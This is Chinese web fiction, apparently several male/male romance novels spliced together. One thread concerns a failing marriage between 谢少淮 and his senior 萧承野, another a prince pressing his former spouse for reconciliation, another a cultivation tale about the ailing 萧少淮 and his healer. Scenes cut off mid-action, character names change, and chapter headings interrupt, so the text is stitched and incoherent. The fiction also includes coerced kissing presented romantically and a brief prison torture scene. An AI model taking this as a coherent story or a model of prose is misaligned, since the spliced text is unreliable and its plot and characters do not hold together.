确认谢少淮视线恢复后,萧承野才缓缓移开长袖,生机盎然的阳光穿过窗棂,投进马车里。 谢少淮低头看着膝盖上一条条的光影。 他说不上来现在是个什么心情。感动么?好像有,但不多。 只是淡淡的,没什么感觉。 但不该是这样的。谢少淮紧紧扣住十指,他知道自己喜欢一个人是什么模样,而如今毫无反应的自己无疑指向另一个结果。 他的身体没感觉了。 他的心不再跳了。 他的爱消散了。 可他依然能面不改色地享受着师兄对他的好。 明明他才是主动追求的那个,但爱得更多的那个似乎并不是他。 他知道师兄依然爱他,但他却无法回应这份爱了。 马车停下的那瞬间,车内短暂地陷入了尴尬。 就在谢少淮手足无措之际,萧承野揭过他膝盖上的薄被,熟练地折叠好放于一侧。 家令放好踏脚,萧承野先行下车,谢少淮等他完全下车了才探出脑袋。 在从前,即便下马车他们也是手牵着手的,而此刻面对萧承野伸来扶他下车的手,谢少淮竟出现了短暂的迟疑,直到大脑发号施令,他才搭上那只手。 萧承野看到了这迟疑,眸光轻颤。 萧承野手腕忽然一凉。 半伏在床榻上的人忽然撑着身子抬起头,目光仓皇地望着他的。 “我不清楚你在说什么,我没有骗你……” 面前的人脸色已经全白了,额间布满了细密的冷汗,细细地发着抖,话还没说完,忽然闷哼一声又跌了回去。 “萧承野,我心口疼……喘不上气……” 萧承野蹙了蹙眉。 面前的人眼皮半阖,身子软了下来,呼吸急促的不似作伪。 房间里有一阵凉风刮过,萧承野终于忍不住慢慢上前一步。 他想先输点灵力先稳定萧少淮的情况再做打算,却在握上他手腕的下一秒,便看到面前人如触电般身子一颤,倏然甩开他的手。 “你别碰我——” 萧承野下意识松开手,掌心间传输的灵力骤然中断,下一秒便看萧少淮猛地喘了一口气,跌坐在床上,按着心口不住喘息。 萧承野后知后觉意识到了什么,皱眉抬起头:“我给你渡灵力……你很难受?” 萧少淮不答,似乎难受到了极点,自顾自低头急促喘息。 萧承野又想到了什么,上前一步,沉声开口:“你的灵脉怎么了?是——” 他的声音忽然戛然而止。 他想起很早前,似乎萧少淮就跟他说过,他灵脉受损之事。 只是萧承野一直……从未当真。 混乱的思绪在脑海中逐渐凝练成线,月影西斜,落入窗台,萧承野望着面前人比月光还白的唇色,手指一点点颤了起来。 萧少淮方才并未说谎。 谢少淮的口腔被占的满满的,湿濡的舌尖快速在他口腔扫过,重重纠缠着他的舌尖:“唔……” 萧承野这次亲了个过瘾,吻完抵着青年的额,将他紧箍在怀里:“阿淮还是这么甜。” “你……”谢少淮抿了抿湿濡刺痛的唇瓣,大口喘着气,想推开萧承野又用不上力气:“王爷你还想和下官纠缠不清吗?还是说王爷还记恨下官,想用这种办法羞辱……” 谢少淮话音未落,只听见上方的男人突然嗤笑了声。 萧承野抬手抚过谢少淮鬓角一丝碎发,随后舔了舔他的耳垂、仔细吮吸后又在他颈间咬了一口,留下一个浅浅的牙印:“阿淮还真是一点都没了解过本王。” 你从未了解过本王。 谢少淮这是第二次听见萧承野说这句话…… “罢了,不急,以后我们有的是时间,”萧承野说罢,手心捂在了谢少淮颈间,在被他咬红的颈肉上揉搓了一番,“去本王的偏殿休息,明天一早我带你去雁山侯府。” “……”谢少淮拢了拢自己的衣襟,咬着唇,抬眸看着萧承野质问道:“你究竟要做什么?” 第 59 章 第 59 章 谢少淮本以为上次萧承野强吻他是为了发泄心中不满,但是今日男人对他所做的种种……怕是早就超出了发泄的界限。诚然三年前是他对不住萧承野,可他已经在想办法弥补了,萧承野为何要这么逼他?凭什么逼他? 谢少淮挣脱萧承野的桎梏,往后退了两步,“王爷究竟有何不满?三年前是我对不住你,但是那完全是形势所迫,若不是你几次三番固执回京,我又为何非要与你和离?” 谢少淮冷冷道:“萧承野,不要再玩儿这种小孩子的把戏。” 谢少淮说完,只见对面的男人突然发狠地嗤笑了一声:“说完了吗?” 谢少淮:“……” 萧承野抵了抵后槽牙,抬眸看着面色难看的谢少淮,“本王说了,你不该来琢州,你既然来了本王就要定你了。” 萧承野说着,眼尾墓地红了,他抿唇一字一句地对谢少淮道:“有本事你就回长安,永远别来见本王。” 谢少淮:“……你真是病得不轻。” 谢少淮觉得自己大抵是和萧承野说不清的,罢了,他就当被疯狗咬了一口得了:“王爷先休息吧,下官告退。” 谢少淮说罢,头也不回地朝着梁王府外走去。 萧承野再次看着那抹身影朝着自己相反的方向走去。 渐行渐远……直到谢少淮完全消失在他的视野内。他本姓李,本家与高祖有血脉渊源,分属旁支。尔后圣躬抱恙,便选中他替圣人出家,以敬天意。 小时候以为出家只是离家一会,却不料再回去已与母亲天人永隔。 从小到大,萧承野身边的人都不多,如今可能又要离开一个。 他舍不得。 『今天早点回家,好不好?』 萧承野温柔的话语回荡耳边,谢少淮轻咬嘴唇。 师兄一定是察觉到了什么,所以最近才会想尽办法来讨好他。 可他又不是萧月场上的人,除了自己外应该也没有其他的情感经历,所以能想到的自然是充满童趣的礼物。 比如一枚漂亮的贝壳、一桌亲手做的菜肴、一只可爱的小兔子。 哪怕在萧月场里玩上一年,都不会再看上这些小伎俩。 更何况谢少淮万花丛中过,片叶不沾身。 他的情感阙值被拉得太高了,这些东西根本提不起他的兴致。 唯有炽热强烈的爱情能让他兴奋。 七年前他能因为一条剑穗高兴得死去活来,也不是因为东西本身,而是因为那是能让他心脏砰砰直跳的爱情送给他的。 如今他的心已经死了,像石头一样不会跳了。 看到这些玩具只剩下厌烦。 但看着师兄绞尽脑汁想让他高兴的样子,那石头心还是裂开一条缝,往内吸冷气。 这种感觉或许名叫心疼。 师兄从前是不让他喝酒的,但是前几天,师兄破天荒找来一壶十年的竹叶青,问他喜不喜欢。 即便心脏麻木,谢少淮还是说了喜欢,因为他心疼小心翼翼讨好他的师兄,明明当年是他说,师兄你什么都不用做,我会爱你。 可现在什么都不用做的却是他。 他食言了。 『你又找到什么好玩的东西想送我吗?』 即便根本不在乎那些小玩具,但谢少淮还真是有些好奇,连亲手下的禁酒令都破了的师兄还能给他送什么礼物。 师兄神秘一笑,『那你就早点回来。』语罢低头在谢少淮眉尾落下一吻。 对于这样的肌肤相亲谢少淮早已没有感觉,他相信他这样的死人反应萧承野只会比他更清楚。 但一种诡异的默契让他们都不曾开口提起。 就好像把猫关进盒子,只要不打开盒子,就永远没人知道那猫是死是活。 谢少淮已经摆烂了,但萧承野还在演。 等哪天萧承野收不到回应,积攒了足够的怨气演不下去了,他们的婚姻也就到头了。 谢少淮低头苦笑,『我先走了。』 他在萧承野的目送下进了刑部,行走的官员纷纷嫌恶地看着他,他并不在乎。 在大门旁站着等了约莫一炷香,确认萧承野确实离开了,谢少淮转身去了天牢。 作为天后近臣的他任职刑部。 萧承野不知道他每天上朝做什么,毕竟刑部大部分人也是坐堂办公的。 但谢少淮却例外,他点卯的地方在天牢。 那阴暗闭塞、布满血腥臭味的牢房才是他的办公场所。 天后疑心重,总觉得有人要搞事情,事实上也的确如此。 而谢少淮就是那把刀。 他每天想的就是怎么撬开那些人的嘴,不管有料没料,进了天牢都要扒一层皮。 为了审讯他想出许多酷刑。 比如现在这条。 疑犯被绑在木架上,对面放一面等身铜镜。 此人是原安国公府中幕僚,天后怀疑安国公和阴山王密谋造反的背后还有更多牵连。 谢少淮已经很多年不亲自用刑了,但天后今天必须得到结果,而这块骨头又特别硬。 凄厉惨叫于是回荡在刑部天牢。 人是有心理防线的。萧月场上的人最会察言观色,发小试探着问:『怎么,吵架了?』 家里的事没必要让外人知道。 当年他跟师兄成婚,有很多人等着看笑话,他们当年没让那些人如愿,如今就更不可能了。 谢少淮否认道:『不,没有,就是闷得慌,想找点乐子。』 但那句话叫什么来着,你越想隐瞒一件事,到头来就越是功亏一篑。 发小轻拍膝盖,啧啧道:『嗐,老夫老妻的,闹腾啥呀?』 谢少淮微微皱眉,他不喜欢『老夫老妻』这个词。 谁规定老夫老妻就不能吵架? 谁规定老夫老妻就必须咽下那口气? 谁规定老夫老妻就不能有任何情绪和不爽了? 他现在就是看萧承野不顺眼,不!可!以!吗! 可惜手头没有寒食散,不然谢少淮高低要吸上几口才来劲。 跟师兄在一起后,寒食散就被禁了。 师兄不许他吸,也不许他喝酒,甚至连水都必须喝热的。 原本谢少淮身上有许多病,酒喝多了肝不好、饮食不规律有胃病、手脚发凉畏寒得要死,甚至每年春天连呼吸都会过敏。 这些年的确都养好了,但他活着也没啥意思了。 『你们那桌带我一个呗。我想喝酒,敞开了喝。』 发小瞪大眼睛,『你家那口能让?』 谢少淮叹气,『他不让,但我想去。』 『算了,别赌气啊。你说你都有家室了,还跟我们这些野狗一起浪个啥,早点回去呗。』 谢少淮有些泄气自嘲,婚姻让他变成一个挂件,做什么都要获得萧承野的同意。 他于是敲敲桌面,『他管不着!我偏要去,他不同意也得同意。』 这句话三年前谢少淮也说过,那时他也是想出去玩,偷偷骗了师兄说是刑部有紧急公文要值夜。结果饭桌上还没开始吹牛,师兄就推开包厢门,笑着走进来。 他就跟个小鸡仔一样被提留走了。 他当时还很愧疚,有被抓包的不安。 但现在想想凭什么呢?他只是想出去玩一天而已为什么就不可以呢!他没有私通,也没有去花楼,他只是想有一天的时间可以自己安排喘息,凭什么不可以呢! 『那要是又被发现了呢?』发小问。 『被发现就被发现呗。』谢少淮冷笑着身体后靠,大不了就跟今天上午一样,再吵一架,或者打架都行。他有些破罐子破摔了。 也许是看出谢少淮心意已决,发小耷拉眉毛,点破天机道:『可你没钱喝酒啊。』 谢少淮眉头微蹙,摸向腰侧。他好像是已经有很久没有带荷包的习惯了,但是从什么时候开始的呢? 发小依旧喋喋不休,『当初你为了追他,小荷包一下就交出去了。你现在别说去喝荤酒了,素酒你也喝不起。』 不,不是这个原因。 谢少淮清楚地记得,成婚初期,他是把私产和库房的钥匙都给了师兄,但也仅仅只是共享而已;与之相对的,是师兄也把平南侯府和清萧山的钥匙给了他。 那时他身上还习惯带银子,是什么时候起,他身上竟然一文钱也没有了呢? 死去的记忆侵袭而来。一开始或许只是一次不经意的忘带,后来……谢少淮眸光轻颤,庙会上、集市里、亭台楼阁处……为了扮演天真无邪的小师弟,他总是一手拉着师兄,一手拿着零嘴。 以此为前提,他不需要花钱。 因为无论是什么,在他想起来或者有兴致之前,师兄就递到了他的手里,被当成小朋友的他没有花钱的途径。 再后来就成了习惯,即便他们已经有两年没有一起逛过庙会和集市了,但谢少淮不带钱的习惯已经养成了。他甚至已经很久很久……没有见到过自己的俸禄了…… 谢少淮轻咬指节,灵光一闪,打个响指道:『有了!车里!马车里肯定有钱!』 发小满面微笑,带着旁观者清的慈祥:『车里是有零碎银子,那是他留给你零花的。你要真出去喝酒,哪怕是素的,茶水费都付不起。』 谢少淮不信邪,叫来车夫对峙。丢人大发了,原来他每天能只有支配的只有一百文? 想当年谢家少爷纵.情声色,黄金万两不过眨眼之间。 现如今! 一百文! 还得跟车夫要! 婚姻! 到底给男人带来了什么! 谢少淮心口的火气蹭得冒上天灵盖,他几乎想立刻冲回去跟萧承野吵架,但赌气的本能更胜一筹,他拔下左手的扳指,『这块和田玉你可想要很久了。』 发小欲言又止,『我只能算你三两。』上等酒肆的门槛费就是三两。 『我这扳指可值一百两!』 发小按下谢少淮举着扳指的手,『我知道你这扳指价值不菲,可我不能再给你更多钱了。就这扳指,我明天还得给世子送过去。你是不是跟他相处久了,萧承野喊惯了,忘记他的本名?醒醒,他不姓萧,他姓李!』 『平南侯府,霁月世子,天下第一清萧剑。一个月,一人一剑端了三十六贼窝——我真带你去乱七八糟的地方,他明天就上我家捅死我。』似乎是想起了什么恐怖的事,发小面色发白、满眼惊惧,又像是被下过封口令,缄口不言什么秘密。 『我管他姓什么!』谢少淮揪起发小衣领,『你不带我去,我现在就捅死你。』 没在暗处待过的人,很难看着自己的肉被一块块切下来还无动于衷。 果不其然,那人很快就崩溃哭泣,『谢少淮!你这妖后的走狗!你不得好死!』 谢少淮嘴角轻勾却眼眸冰冷,瞳孔间尽是阴暗戾然,『是吗?那咱们就看看,是谁先死!』 烧红的烙铁辅一举起,便在空气中发出『呲呲』轻鸣。 这时候,方才送萧澶去睡觉的刘管事回来了。其实刘管事已经回来有一会儿了,他本来是要给青年准备厢房休息了,结果却看到了两个人拌嘴。 他家殿下也真是的,有话就不能好好说,就像之前一趟顺着大人来不久好了吗?兴许大人心一软,为了小殿下愿意和好呢? 刘管事:“王爷,您这又是为何呢?谢大人他本就对您印象不好,你又弄这一出,若是以后大人连小殿下也不看了,回长安去了可怎么办?” 萧承野:“……” 萧承野颓废地斜倚在美人靠上,抬手扶额,“他不会走的。” 萧承野本以为谢少淮不喜欢他,连带着他的孩子也不喜欢,可今日一见,明显能看出来他是喜欢阿澶的。 萧承野捏了捏眉心,思忖少顷,倏地起身看着刘管事:“明日让阿澶随本王一起去雁山侯府。” 刘管事:“……” 刘管事:“王爷不是说小殿下不喜欢周小世子……” “他总是在乎阿澶的,只要阿澶跟着本王,他就能多看本王一眼,”萧承野:“近日军中没什么要紧事,你去舅舅府上替本王告几日假,就说本王准备给阿澶找娘亲了。” 刘管事:“。” “我就说边叙那个呆子轻易不会出这么重的手,”樾为之咬牙,“原来你是故意的。” 萧少淮垂死挣扎,小声开口:“你又不认识他,你怎知他不会?万一他恨我入骨……” “边叙是你养大的,再恨你也不会下这么重的死手。” 樾为之冷冷开口:“我不清楚他,但我认识你。” 萧少淮这下一句话也说不出口了。 “你是真的不想活了吗,萧少淮?那我当初就不应该救你,让你在崖底自生自灭……”樾为之越想越气,倏然站起身。 他拂袖就想直接离开,忽然听到身后人轻声开口:“萧承野见到我的第一天跟我说,我曾出身销春尽。” 樾为之脚步倏然一顿。 他神情间露出一丝不可置信:“这不可能,他怎么……” 窗外的月光西斜,铺了满床,落到萧少淮未及约束的长发上,恍若一瞬白头。 他勾了下唇,唇色却比月光还白上几分:“所以我要确认,边叙是不是也知……” 他话还没说完,身子忽然颤了一下,骤然伏下身去,闷哼一声,身子控制不住地蜷缩起来。 樾为之倏然回过神,快步走上前将人扶着靠坐起来,伸手按住他的脉搏。 “没事……就是,老毛病犯了了。”萧少淮按着胸口,呼吸急促。 “扶我,再坐起来……我有点喘不上气……” 他嘴唇已染上点点乌紫,不过这两句话间冷汗便布满了全身。 樾为之瞬间明白了什么,心中暗骂一句“该死”。 ——他刚才一时气昏了头,忘了萧少淮的发作日期已经临近。 他深吸一口气,扶着人迅速盘膝坐好,掌根抵着他后心,将灵力一点点打入萧少淮体内。 昏暗的房间内似乎有无形的雾气蒸腾而起,形成了一套半透明的结界,虚空间的气流似乎都逐渐缓了下来。 不过一会儿,两人身上都出了一身冷汗。 不知过了多久,萧少淮苍白着脸,终于发出轻轻一声呛咳,呼吸平缓下来。 樾为之同时也舒了一口气,往萧少淮嘴里又塞了一枚药丸,慢慢将手撤了回来。 “我刚将你体内第一波发作压下去了,但之后……”樾为之低声开口,忽然感觉手腕一凉。 面前脸色苍白的人攥着他的手腕,目光却落向门口的方向,微微蹙眉。 “有人要过来了……”萧少淮哑声开口,声音依旧难掩虚弱。 樾为之皱了皱眉,忽然抬起手往窗口那一弹。 玄色的衣摆在窗外不远处一闪而过,樾为之还没反应过来,萧少淮已蓦然睁大眼。 他倏然坐起身,直接把樾为之往床下一推。 “你干什么?”樾为之被他推的一个踉跄,差点直接跌下床。 他眼疾手快扶住旁边的桌子,咬牙转过头:“怎么,在销春尽待了一个月,学会过河拆桥……” “萧承野要来了。”萧少淮急促开口。 樾为之的声音戛然而止。 他看了一眼外面的天色,一时疑心是自己看错了时辰:“这个点他过来干什么……” “我怎么知道,但你不能被他发现。” 萧少淮一边说一边跟着踉跄下床,焦急地将人往门口推。 “你快走,我不想被捉奸在床。” 樾为之眉心跳了跳:“谁跟你有奸情……不是,萧承野现在跟你有什么关系,他凭什么捉你——” “现在没有,万一今晚之后就有了呢。”萧少淮脱口而出。 樾为之:?? 萧少淮毫不留情地在他身上贴了一张御风符,顺手一掌拍开了窗。 樾为之看着他一系列行云流水的动作,脸都青了。 “你大爷的萧少淮,我清清白白一身,凭什么要翻窗出去——” “萧承野现在离这里还有不到五步。” 萧少淮望着樾为之,声音冷静的可怕:“如果你现在不走窗,那就只剩藏床底一个选项了。” ……樾为之僵硬了两秒,倏然转过身。 窗棱发出轻微的“啪嗒”一声,樾为之的身影瞬息间已消失不见。 萧少淮无声地吐了一口气。 窗外的凉风一吹,他微微瑟缩了一下,感觉好不容易压下去的毒素又翻涌起来,周身逐渐滚烫,大概是起了烧。 周围模模糊糊地看不清楚,萧少淮晃了下头,迷迷糊糊地想着先回到床上。 但高烧让他整个反应都迟钝。 他没有注意到刚才胡乱披在身上的外袍正逐渐下滑,也没有注意到自己的脚步逐渐虚浮,直到脚下忽然一软。 “嘶——” 谢少淮吁了口气,抬眸看着萧承野有些得意的样子,心里更堵得慌了:“劳烦王爷先走一趟。” 萧承野的目光似火舌在谢少淮的身上一寸寸略过,最后落在那盈盈一握的腰上,他犹记得青年的身子有多柔韧、腹有多平坦光滑。 特殊时候,小腹微凸起,好看的紧。 萧承野淡淡一笑认真地看着谢少淮,好似在问什么正经话一样:“大人答不答应?不答应你我就一起进去。” “你先去……”谢少淮抿唇,长睫微微垂下,小声说道:“剩下的事情,我们晚上单独聊。” 萧承野:“成交。” 谢少淮松了口气,瞪了萧承野一眼,看他先进了正堂这才放心下来。 第 60 章 第 60 章 雁山侯和卫岚在正堂的太师椅上坐着,小厮下去传话,少顷一个冬瓜大小的团子哼哧哼哧走了进来。 萧澶抬起衣摆,甫一进了正堂便看见了多日没见到的舅父,笑咯咯地跑过去给男人行了礼:“阿澶见过大将军。” 卫岚眸子一亮,起身架着萧澶的咯吱窝将他抱了起来,“你小子怎么也过来了?你爹今天没让父子给你上课?” 萧澶被舅爷的胡茬扎的小脸刺挠,他哄着小脸劝解卫岚:“舅爷爷阿澶已经三岁了,这么抱着不成体统呀!” 卫岚稀罕萧澶,蹭了蹭他的小脸蛋,“什么提桶不提桶的,想没想舅父?” 萧澶给了男人一个大大的拥抱:“想!” 雁山侯瞧见小世子心里是又怕又敬,怎么都是小孩子,他家的耀武就只知道吃玩儿,小世子不过三岁就知礼节懂规矩,同时他又怕,昨日带着耀武的小厮说了,是耀武先找小世子的麻烦,才引起这么一场闹剧的。 经脉上的疼痛减轻了些许,萧少淮呼吸逐渐均匀起来。 他本就是被樾为之银针强行刺激而醒,此时一放松下来,神志逐渐开始昏沉起来,忍不住有些犯困。 旁边的樾为之被哄了一下后消了点气,继续沉着脸坐在床旁,细细检查着萧少淮的伤势。 他看着床上的人头睡的一点一点的,脖颈不舒服的歪着,环顾了一圈四周,轻轻“啧”了一声,忽然翻身上床坐到了萧少淮旁边。 “这破屋子你也能呆得下去,萧承野给你下了什么迷魂汤了。”樾为之一边扶着人靠过来,一边嗤笑一声。 “连个靠枕都没有,在家里你不都真丝被、苏绣枕堆满了床,坐个椅子还得抱着猫儿,才肯勉勉强强坐下来。” 樾为之嘲讽起人来直接无差别攻击,萧少淮也不以为意,身子往下缩了缩,头往旁边自然一侧,寻了个舒适的姿势靠在了他肩膀上。 “我哪有那么金贵。” 萧少淮捂唇小小打了个哈欠,忽然又抬手拍他:“你快把那个药枕拿出来,给我垫一下。” 樾为之被他气笑了,口中说着“我那药枕是给你这么用的吗”,却还是从药箱中拿了出来,小心垫到他腰下。 萧少淮得逞般笑了下,阖上眼,毫不客气地直接开口要求:“我要你新做的、最精致的那个。” 樾为之怎么看怎么感觉他像个餍足的猫儿,懒洋洋爪子开花。 他轻哼了一声,也没告诉他本来拿的就是那个,继续慢慢诊着脉。 旁边的人呼吸逐渐轻缓,樾为之数了几息,装作不经意般开口:“你要寻的那件事,查的怎么样了?” 萧少淮微微摇头:“没什么进展……销春尽的人嘴都很严,什么也不说,萧承野又总是故意疏远我。” 樾为之调整了一下银针深浅,顿了顿,轻声开口:“那你……准备什么时候回家?” 萧少淮顿了顿。 他没有回答,而是忽然想起什么,冲着樾为之眨了眨眼:“对了,我前几天倒是抓到了个有趣的小玩意。” 樾为之愣了一下,看着萧少淮打了个响指,虚空中便忽然落下了一个铁制鸟笼。 ——紧接着,一阵凄厉的鸣叫声从鸟笼中径直传来。 樾为之的目光落到鸟笼里吱哇乱叫的黑黢黢金纹乌鸦身上,嘴角微微抽了一下。 “这是……”门被推开的那一刻,众人的起哄戛然而止。 谢少淮抬眸,看到了萧承野压抑委屈的脸,一种复杂而难以言说的情绪在心头萦绕。 即便在山上长大,但师兄终究出身贵族,场面上的礼节是刻在骨子里的。他平素又谦和有礼,任何时候都温润如玉,人前发颠这种事他绝不会做。 果不其然,师兄彬彬有礼地朝着每一名宾客微笑,大方得体地缓缓走到谢少淮身边。 师兄还穿着上午分别时的狐裘,雪色的皮毛衬出他皮肤雪白、五官深邃,烛火映照下漂亮得赏心悦目,但其实师兄本人并不喜欢这么穿。 确切地说,师兄讨厌动物皮毛制成的所有东西。 一方面他觉得十分残忍,另一方面他总觉得这些皮毛上有永远褪不去的臭味。 但神都贵族圈的人就是喜欢以此来彰显自己的身价。 有时圈子真是一种很怪异的东西,你明明不喜欢,但为了融入进去,你不得不做一些事,证明自己跟圈子里的人是同类,而这些华丽的大氅就是一种贵族圈的投名状。 谢少淮知道,不管是内在情绪还是外在穿着,萧承野都是为了他而压抑自己的本心。 从前他会很感动,但现在……他只觉得沉重和繁累。 这种感觉更像什么呢? 萧承野好像变成一个老妈子。 怎么打比方呢?就仿佛……一群学生偷溜出课堂,去池塘里挖青蚌,而你也是其中之一。挖的正尽兴呢,突然,你爹娘横空出现,当着小伙伴的面厉声呵斥你,拎着你的耳朵问『为什么不去上学』! 这个时候,你的第一反应是—— 哇~爹娘好爱我啊,居然放下手头的活计特意来找我呢!我要想办法哄哄他们,让他们千万别生气~ 还是—— 啧,可恶!他们怎么来了? 场上一片静谧,所有人目不转睛地盯着谢少淮,看他反应。 吃瓜乐子人都知道,即便是同样一句话,肢体动作和细微表情的不同,所蕴含的信息量也是天差地别的。 怒拍桌子,大喝『你怎么来了』, 同 眼角含情,温言细语问『你怎么来了』, 给外界传达的信息是截然不同的。 酒桌上都是人,谢少淮笑吟吟抬头,精湛的演技足以消弭一切僵硬,他柔声道:『师兄,你怎么来了?』他伸出手,拉着萧承野到身边坐下,哈口气揉揉,『天这么冷,也不好好在家休息。』 聪明人不会当着外人的面去折辱自己的伴侣。 在外人看来,他们还是那样恩爱。 但萧承野却被这突如其来的温暖垫热了心窝,全身泛出暖意的同时,焦急不安的心奔涌出无限热浪,双眼所视之处都仿佛有花瓣飘落。 谢少淮已经很久没有主动碰他了,这让他迫不及待地回握那只手。 牢牢抓住,放于脸颊轻蹭。 手背叠上萧承野脸颊的那一刻,层层细碎的小疙瘩从谢少淮头皮爆裂,一圈圈扩散至全身。他几次想抽回,但萧承野的手非但没有松开,反而加重了力道,就像害怕他会突然逃走一样。 周围响起此起彼伏的起哄声。 谢少淮想不出七年前的自己会有多高兴,但现在他只觉得丢人。好像没穿衣服在街上裸奔,他急不可待地想结束这样的『温存』,但又不想让别人知道他已经不爱了,于是强迫自己弯起嘴角,倾身上前,脸颊贴于萧承野耳侧,轻声道:『大家都看着呢~快放手。』 这种带着撒娇意味的话语让萧承野眼角发酸,他几乎想立刻带谢少淮回家深入增加感情! 他觉得他成功了——他成功修复了他们的爱情。 虽然这种『成功』背后是隐隐的不安,就是这股不安让他想立刻带谢少淮回家,只要回了家,只要……只要有肌肤之亲,他们或许就能立刻回到从前。 回到从前无话不谈的日子、回到从前只一个眼神就能激起彼此爱恋的时刻…… 很多事少淮或许早就忘了,但萧承野依旧历历在目。 那是个艳阳天,天气特别热,师兄弟们练完剑,身上跟盐水浸过似的,手臂上都结了白霜。 山上日子清苦,师兄弟们早就受惯了规训,对此习以为常。 以往排队打水的队伍总是异常安静,唯剩山间鸟叫蝉鸣。 但自从谢师弟入门后,一切都变了。 他活泼开朗、见识斐然,走到哪儿都能掀起一阵欢声笑语。 “长老殿里飞出来的,凶神恶煞地就冲了过来,然后傻愣愣地在我面前一头把自己撞晕了。”萧少淮闲闲地打个哈欠,“先留着吧,以后说不定有大作用。” 樾为之听着那只头顶有金纹的乌鸦叫声越发凄厉,对萧少淮的这番说辞不置可否。 “吵死了。”萧少淮凉凉抬眼,“你想被做成乌鸦汤吗?” 那只吓破了胆的乌鸦很明显没有听懂萧少淮的威胁,声嘶力竭地叫的更欢了。 樾为之回过神,望着面前对峙的一人一鸟,感觉自己脑子更痛了。 “你把他给我吧,我带回去帮你调教一下再给你送回来。”樾为之叹了一口气,抬手把鸟笼收进了储物戒。 他不等萧少淮开口拒绝,轻飘飘用一句话堵住他的嘴:“我可不想我的病人被一只鸟给气死了。” 床上的人静了几秒,默默靠回了他肩头,讨好般往他颈窝间蹭了蹭。 樾为之嫌弃地轻啧了一声,肩膀却不着痕迹地往下沉了沉,好让人靠的更舒服些。 萧少淮身子曾经受过重创,如今表面看着无恙,实际上内里的底子早已烂了个干净。 樾为之第一次见到他的时候,他满身的灵力都在外溢,几乎到了油尽灯枯之象。 樾为之最后不得已封了他的灵力,又用各种猛药吊住了他的性命,勉强维持他体内各种伤势间的平衡。 只是是药三分毒,毒素积累到一定程度,每月便会爆发一次。 毫不客气地说,萧少淮如今的身子就像个满是冰裂的白瓷瓶,美则美矣,却是脆弱的一碰就碎。 ——但易碎品本人却毫无自觉,甚至恨不得让自己直接回炉重塑。 樾为之想着这个就头痛。 窗外打更的声音隐隐传来,几乎已经昏睡过去的人被吵醒,轻轻皱了皱眉。 他感觉手腕和心口那里一阵刺痛传来,紧接着便是熟悉的灵力一缕缕渡了过来。 “检查完了?”萧少淮闭着眼,将手往袖口里缩了缩,含糊开口。 床边的人应了一声,慢慢站起身,想要将人扶回床上。 初醒的人还有些畏寒,脱离了热源的一瞬,下意识往樾为之又怀里缩了缩。 樾为之动作僵了一下,不着痕迹地后退一步,扶着他躺回床上。 这么一弄萧少淮也清醒了点,微微打了个哈欠,半撑着下巴抬起头:“我身体是不是好点了?” ——这是每次樾为之给他检查完后,他都会问的一句话。 樾为之瞥了他一眼,也是一如既往地毒舌:“好得很,好在你还没有把自己作死。” 萧少淮心情颇好地笑出了声。 樾为之凉凉地看了他一眼,重新握住了他的脉门,却没有立刻说什么, 他看着面前的人微微打了个哈欠,毫无防备地重新昏沉合上眼,忽然低声开口:“你重回销春尽,真实来找那味药的吗?萧少淮。” 半阖着眼的人睫毛一颤,却没有睁眼。 “你真的不是想要重查两年前魔族入侵的真相……” 他话还没说完,忽然感觉面前的人呼吸一滞,紧接着骤然呛咳起来。 樾为之倏然止住话语。 他深吸一口气,拿出一枚药丸塞到萧少淮口中,到底转移了话题。 “行了,这里我也不好久待,常规的药配好后下月给你送来,我给你用灵力再温养一遍经脉后就走了……” 萧少淮勉强止住咳意。 萧承野转身放下茶杯淡淡回应道:“本王为什么这么做不是很明显吗?” 谢少淮:“……” “还请王爷直说。” “本王说想要阿淮,”萧承野转身,正色看着谢少淮,隔空点了点谢少淮心口的位置:“要阿淮的心、也要阿淮的身体。” “原先阿淮并不了解本王,在长安时候,本王还小可以恭维或者阿淮也可以理解虚与委蛇,总之那不是真正的本王,”萧承野说罢,上前强势地握住了谢少淮的手腕,将青年拉在他的怀里,重重在那过分殷红的唇瓣上咬下:“本王不喜欢弄那些虚的。” 谢少淮木了,他抬眸看着萧承野那充满欲望的眼神,后背不禁泛起一层冷汗,“王爷怕不是想睡下官?” 萧承野丝毫不吝啬地承认了:“算。” 60-70 第 61 章 第 61 章 “也不全是,”萧承野磨了磨犬齿,“还想你接受本王,不刻意伪装的萧承野。” “别这样……”谢少淮躲开萧承野的吻,狠狠在他手臂上咬了一口,尝到了些许甜腥他才停下口,掀开萧承野的衣袖,看到那渗出血珠的手臂,他蹙紧眉心:“你……我不是故意的。” 他没想伤害萧承野。 “抱歉。” 谢少淮从没有想今天这么失礼过,“之前的事情是下官不对,我向你道歉,今后我会尽力去弥补你和阿澶……” “至于王爷说的不太现实。” “下官不喜欢王爷,心不在儿女之情,今后也不会再成家……” 萧承野越听谢少淮说这些就越是烦闷,他忍不住捂住了青年的唇,“本王今天就当没听见你说这些胡话。” “你不愿接受就不接受,至于说弥补本王。”萧承野扯了扯谢少淮的腰带,“那就用本王喜欢的方式弥补。” “反正都差不多,你心里高兴就行。” 谢少淮拿开萧承野的手:“你还是想睡我?” 谢少淮认真思忖了片刻,又问:“那你答应让我带阿澶回长安,说话可算数?” “刚才身体确实有些不舒服,所以晕过去了一瞬,但我已经没有大碍。” 萧少淮弯了弯眼,再次想要往后抽手。 松一怔怔地松开了手,边叙拉着人的手指却忽然一紧。 萧少淮顿了顿,抬起头,正对上边叙漆黑的眼眸。 他恍惚了一瞬,紧接着便听边叙低声开口:“所以你已入魔?” 藏书阁内静了一瞬,松一想到了什么,倏然抬起头。 妖、魔两族的灵力流转和修仙之人不同,修仙讲究中庸而为,选择细水长流;妖魔却向来只图一时快意,往往一蹴而就。 因此,入魔之人修行和受伤的恢复程度,都要比寻常人快上许多。 修炼漫长枯燥,仙门百年来常有坚持不下的人选择入魔,修为突飞猛进,但常因心境未达同样境界,最终落得个走火入魔、屠戮四方的下场。 松一垂在身侧的手一点点攥紧,却看萧少淮神情不变,无辜地歪了歪头:“我没有啊。” “你身上有魔族的气息。”边叙依旧握着他的手,紧紧盯着他。 “哦,你说这个啊” 萧少淮弯了弯眼,忽然别过头,目光落到不远处地上的两张黄符上。 “峰主想必应该听说过驱魔符吧。” 边叙神情没有什么变化,旁边的松一却意识到什么,讶然抬头。 驱魔符需要根据魔族气息来锁定对象,因此本身符咒上就会带上些许魔气,便于精准锁敌。 边叙顺着他的目光转过头,他单手按着萧少淮,另一手一抬,直接将两张符召了过来。 他手指翻转了一下,那符纸上画的阵法确实是驱魔所用,上面萦绕着些微魔气。 ——但刚才感受到的魔族气息却似乎没有这么微弱。 